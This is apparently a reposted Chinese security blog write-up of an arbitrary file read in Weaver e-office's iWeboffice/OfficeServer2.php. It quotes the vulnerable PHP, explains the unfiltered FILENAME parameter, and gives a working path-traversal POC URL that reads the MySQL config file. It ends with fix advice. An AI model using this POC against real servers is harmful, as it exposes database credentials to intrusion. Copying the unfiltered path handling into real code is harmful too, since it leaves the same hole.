导读
主要分享学习日常中的web渗透,内网渗透、漏洞复现、工具开发相关等。希望以技术共享、交流等不断赋能自己,为网络安全发展贡献自己的微薄之力!
泛微e-office OfficeServer2.php 存在任意文件读取漏洞隐患,攻击者可通过此漏洞获取敏感信息,为下一步攻击做准备。
1、打开iWeboffice/OfficeServer2.php,代码如下:
//取得操作命令信息
$mOption=$OPTION; //取得操作命令信息
switch ($mOption){
case "LOADFILE":
$mFileName = $_REQUEST["FILENAME"];
$mRecordID = $_REQUEST['RECORDID'];
$mFullPath = $mFilePath."/".$mRecordID."/".$mFileName;
$mFullPath = iconv("utf-8","gbk",$mFullPath);
$result = file_exists($mFullPath);
if($result == false) {
$MsgError=$_lang["file_file_not_exist"].$mFullPath; //设置错误信息
} else {
$fd = fopen($mFullPath, "rb");
$mFileSize = filesize($mFullPath);
$mFileBody = fread($fd, filesize($mFullPath));
fclose( $fd );
$MsgObj=$MsgObj."STATUS=".base64_encode($_lang["file_open_success"]."!")."rn"; //设置状态信息
}
break;
case "SAVEFILE": //下面的代码为保存文件在服务
$mFileName = $_REQUEST["FILENAME"];
$mRecordID = $_REQUEST['RECORDID'];
$mFullPath = $mFilePath."/".$mRecordID."/".$mFileName;
if (is_uploaded_file($_FILES['MsgFileBody']['tmp_name']))
{ //保存文档内容
if (move_uploaded_file($_FILES['MsgFileBody']['tmp_name'], iconv("utf-8","gbk",$mFullPath)))
{ //把文档保存到$mFullPath目录下面
$mFileSize = $_FILES['MsgFileBody']['size']; //取得文档大小
$result = true;
}
else
{
$MsgError=$_lang["file_save_fail"]; //设置错误信息
$result=false;
}
}
else
{
$MsgError=$_lang["file_upload_fail"]; //设置错误信息
$result=false;
}
if($result)
{
$MsgObj=$MsgObj."STATUS=".base64_encode($_lang["file_save_success"]."!")."rn"; //设置状态信息
}
break;
2、审计过程中看到LOADFILE。通过$mFileName = $_REQUEST["FILENAME"];获取文件名字。而下面的流程没有进行过滤就造成了任意文件读取。
3、构造POC读取配置文件(v9,v10)
iweboffice/officeserver2.php?OPTION=LOADFILE&FILENAME=../../bin/mysql_config.ini
1、对用户输入进行严格的过滤和校验,避免出现任意文件读取漏洞
2、升级到安全版本
原文始发于微信公众号(五六七安全团队):泛微e-office OfficeServer2.php 存在任意文件读取漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论